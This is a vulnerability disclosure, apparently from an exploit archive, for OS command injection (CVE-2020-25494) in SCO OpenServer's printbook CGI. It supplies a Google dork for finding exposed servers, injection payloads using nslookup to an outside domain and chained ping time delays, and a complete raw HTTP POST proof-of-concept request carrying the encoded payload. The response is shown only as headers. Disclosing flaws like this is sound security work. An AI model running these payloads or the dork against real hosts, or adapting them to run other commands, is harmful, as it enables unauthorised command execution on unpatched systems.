# Google Dork: inurl:/cgi-bin/manlist?section
# Discovered Date: 04/09/2020
# Author: Ramikan
# Vendor Homepage: https://www.xinuos.com/products/
# Software Link: https://www.sco.com/products/openserver507/-overview
# Affected Version: Tested on 5.0.7, 6 can be affected on other versions.
# Tested on: SCO Openserver 5.0.7 & version 6
# CVE : CVE-2020-25494
*************************************************************************************************************************************
Vulnerability :OS Command Injection
*************************************************************************************************************************************
The outputform, toclevels parameter appears to be vulnerable to OS
command injection attacks. It is possible to use various shell
metacharacters to inject arbitrary OS commands. The command output
does not appear to be returned in the application's responses,
however it is possible to inject time delay commands to verify the
existence of the vulnerability. It is also possible to cause the
application to interact with an external domain, to verify that a
command was executed. The payload |nslookup -q=cname mytest.com.&
was submitted in the parameters. The application performed a DNS
lookup for the specified domain name. Additionally, the payload
|ping -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #' |ping -n 21
127.0.0.1||`ping -c 21 127.0.0.1` #\" |ping -n 21 127.0.0.1 was
submitted in the parameters. The application took 20960
milliseconds to respond to the request, compared with 1348
milliseconds for the original request.
Affected URL:http://host:8457/cgi-bin/printbook
Affected Paramenter: outputform, toclevels
*************************************************************************************************************************************
POC
*************************************************************************************************************************************
Request:
*************************************************************************************************************************************
POST /cgi-bin/printbook HTTP/1.1
Host: 10.0.0.45:8457
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.0.0.45:8457/en/Navpages/printmap.html
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
outputform=ps%7cping%20-n%2021%20127.0.0.1%7c%7c%60ping%20-c%2021%20127.0.0.1%60%20%23'%20%7cping%20-n%2021%20127.0.0.1%7c%7c%60ping%20-c%2021%20127.0.0.1%60%20%23%5c%22%20%7cping%20-n%2021%20127.0.0.1&booktitle=test&toclevels=3&part=%2Fen%2FOSR_FEATS%2FCONTENTS.html&part=%2Fen%2FUSE_oview%2FCONTENTS.
*************************************************************************************************************************************
Response:
*************************************************************************************************************************************
HTTP/1.1 200 OK
Date: Tue, 04 Sep 2020 11:17:52 GMT
Server: Apache/1.3.33 (Unix) mod_perl/1.29
Connection: close
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 3188
